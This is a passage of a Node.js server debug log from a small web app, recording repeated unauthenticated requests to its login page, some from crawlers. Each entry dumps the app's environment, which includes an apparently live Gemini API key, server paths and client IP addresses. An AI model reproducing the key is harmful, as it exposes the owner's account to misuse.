    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'http://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36',
    HTTP_REFERER: 'http://ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_XXXXXXXXXX: 'close',
    'HTTP_X_FORWARDED-FOR': '52.11.154.173',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz'
  },
  identity: false,
  content: '/login'
}
2025-12-12T14:16:14.549Z server-connect:router Serving templateView /login
2025-12-12T14:16:14.549Z server-connect:app Executing action step identify
2025-12-12T14:16:14.549Z server-connect:app options: { provider: 'security' }
2025-12-12T14:16:14.549Z server-connect:auth No login cookie found
2025-12-12T14:16:14.549Z server-connect:output identity: false
2025-12-12T14:16:14.549Z server-connect:router Render template layouts/authentication
2025-12-12T14:16:14.550Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36',
    'accept-language': 'en-US',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    priority: 'u=0, i',
    'x-forwarded-for': '44.242.203.83',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-13T14:16:14.548Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '44.242.203.83',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36',
    HTTP_ACCEPT_LANGUAGE: 'en-US',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_PRIORITY: 'u=0, i',
    'HTTP_X_FORWARDED-FOR': '44.242.203.83',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-12T14:16:20.112Z server-connect:router Serving templateView /login
2025-12-12T14:16:20.113Z server-connect:app Executing action step identify
2025-12-12T14:16:20.113Z server-connect:app options: { provider: 'security' }
2025-12-12T14:16:20.113Z server-connect:auth No login cookie found
2025-12-12T14:16:20.113Z server-connect:output identity: false
2025-12-12T14:16:20.113Z server-connect:router Render template layouts/authentication
2025-12-12T14:16:20.113Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Mobile/15E148 Safari/604.1',
    'accept-language': 'en-US',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    priority: 'u=0, i',
    'x-forwarded-for': '44.242.203.83',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-13T14:16:20.112Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '44.242.203.83',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Mobile/15E148 Safari/604.1',
    HTTP_ACCEPT_LANGUAGE: 'en-US',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_PRIORITY: 'u=0, i',
    'HTTP_X_FORWARDED-FOR': '44.242.203.83',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-12T14:26:08.413Z server-connect:router Serving templateView /
2025-12-12T14:26:08.413Z server-connect:app Executing action step identify
2025-12-12T14:26:08.413Z server-connect:app options: { provider: 'security' }
2025-12-12T14:26:08.413Z server-connect:auth No login cookie found
2025-12-12T14:26:08.413Z server-connect:output identity: false
2025-12-12T14:26:08.413Z server-connect:app Executing action step restrict
2025-12-12T14:26:08.413Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-12T14:26:08.413Z server-connect:output restrict: undefined
2025-12-12T14:26:08.555Z server-connect:router Serving templateView /login
2025-12-12T14:26:08.556Z server-connect:app Executing action step identify
2025-12-12T14:26:08.556Z server-connect:app options: { provider: 'security' }
2025-12-12T14:26:08.556Z server-connect:auth No login cookie found
2025-12-12T14:26:08.556Z server-connect:output identity: false
2025-12-12T14:26:08.556Z server-connect:router Render template layouts/authentication
2025-12-12T14:26:08.556Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    accept: '*/*',
    'user-agent': 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)',
    'accept-encoding': 'gzip,br',
    referer: 'https://www.ems.sanjaychaurasia.xyz/',
    'x-forwarded-for': '216.73.216.107',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-13T14:26:08.555Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '216.73.216.107',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT: '*/*',
    HTTP_USER_AGENT: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz/',
    'HTTP_X_FORWARDED-FOR': '216.73.216.107',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-12T14:32:22.501Z server-connect:router Serving templateView /
2025-12-12T14:32:22.501Z server-connect:app Executing action step identify
2025-12-12T14:32:22.501Z server-connect:app options: { provider: 'security' }
2025-12-12T14:32:22.501Z server-connect:auth No login cookie found
2025-12-12T14:32:22.501Z server-connect:output identity: false
2025-12-12T14:32:22.501Z server-connect:app Executing action step restrict
2025-12-12T14:32:22.501Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-12T14:32:22.502Z server-connect:output restrict: undefined
2025-12-12T14:32:22.619Z server-connect:router Serving templateView /login
2025-12-12T14:32:22.619Z server-connect:app Executing action step identify
2025-12-12T14:32:22.619Z server-connect:app options: { provider: 'security' }
2025-12-12T14:32:22.619Z server-connect:auth No login cookie found
2025-12-12T14:32:22.619Z server-connect:output identity: false
2025-12-12T14:32:22.619Z server-connect:router Render template layouts/authentication
2025-12-12T14:32:22.619Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    accept: '*/*',
    'user-agent': 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)',
    'accept-encoding': 'gzip,br',
    referer: 'https://ems.sanjaychaurasia.xyz/',
    'x-forwarded-for': '216.73.216.107',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-13T14:32:22.618Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '216.73.216.107',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT: '*/*',
    HTTP_USER_AGENT: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/',
    'HTTP_X_FORWARDED-FOR': '216.73.216.107',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-12T15:09:45.986Z server-connect:router Serving templateView /
2025-12-12T15:09:45.986Z server-connect:app Executing action step identify
2025-12-12T15:09:45.986Z server-connect:app options: { provider: 'security' }
2025-12-12T15:09:45.986Z server-connect:auth No login cookie found
2025-12-12T15:09:45.987Z server-connect:output identity: false
2025-12-12T15:09:45.987Z server-connect:app Executing action step restrict
2025-12-12T15:09:45.987Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-12T15:09:45.988Z server-connect:output restrict: undefined
2025-12-12T15:09:46.361Z server-connect:router Serving templateView /login
2025-12-12T15:09:46.361Z server-connect:app Executing action step identify
2025-12-12T15:09:46.362Z server-connect:app options: { provider: 'security' }
2025-12-12T15:09:46.362Z server-connect:auth No login cookie found
2025-12-12T15:09:46.362Z server-connect:output identity: false
2025-12-12T15:09:46.362Z server-connect:router Render template layouts/authentication
2025-12-12T15:09:46.362Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19582',
    referer: 'http://www.ems.sanjaychaurasia.xyz',
    'accept-encoding': 'gzip',
    xxxxxxxxxx: 'close',
    'x-forwarded-for': '54.188.248.191',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-13T15:09:46.361Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: false,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '54.188.248.191',
    REQUEST_PROTOCOL: 'http',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'http://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19582',
    HTTP_REFERER: 'http://www.ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_XXXXXXXXXX: 'close',
    'HTTP_X_FORWARDED-FOR': '54.188.248.191',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz'
  },
  identity: false,
  content: '/login'
}
2025-12-12T15:09:46.739Z server-connect:router Serving templateView /
2025-12-12T15:09:46.739Z server-connect:app Executing action step identify
2025-12-12T15:09:46.739Z server-connect:app options: { provider: 'security' }
2025-12-12T15:09:46.740Z server-connect:auth No login cookie found
2025-12-12T15:09:46.740Z server-connect:output identity: false
2025-12-12T15:09:46.740Z server-connect:app Executing action step restrict
2025-12-12T15:09:46.740Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-12T15:09:46.740Z server-connect:output restrict: undefined
2025-12-12T15:09:47.073Z server-connect:router Serving templateView /login
2025-12-12T15:09:47.073Z server-connect:app Executing action step identify
2025-12-12T15:09:47.074Z server-connect:app options: { provider: 'security' }
2025-12-12T15:09:47.074Z server-connect:auth No login cookie found
2025-12-12T15:09:47.074Z server-connect:output identity: false
2025-12-12T15:09:47.074Z server-connect:router Render template layouts/authentication
2025-12-12T15:09:47.074Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Linux; Android 8.0.0; SM-G965U Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.111 Mobile Safari/537.36',
    referer: 'http://www.ems.sanjaychaurasia.xyz',
    'accept-encoding': 'gzip',
    xxxxxxxxxx: 'close',
    'x-forwarded-for': '54.188.248.191',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-13T15:09:47.073Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: false,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '54.188.248.191',
    REQUEST_PROTOCOL: 'http',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'http://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 8.0.0; SM-G965U Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.111 Mobile Safari/537.36',
    HTTP_REFERER: 'http://www.ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_XXXXXXXXXX: 'close',
    'HTTP_X_FORWARDED-FOR': '54.188.248.191',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz'
  },
  identity: false,
  content: '/login'
}
2025-12-12T15:13:29.886Z server-connect:router Serving templateView /login
2025-12-12T15:13:29.886Z server-connect:app Executing action step identify
2025-12-12T15:13:29.886Z server-connect:app options: { provider: 'security' }
2025-12-12T15:13:29.887Z server-connect:auth No login cookie found
2025-12-12T15:13:29.887Z server-connect:output identity: false
2025-12-12T15:13:29.887Z server-connect:router Render template layouts/authentication
2025-12-12T15:13:29.887Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19582',
    'accept-language': 'en-US',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    priority: 'u=0, i',
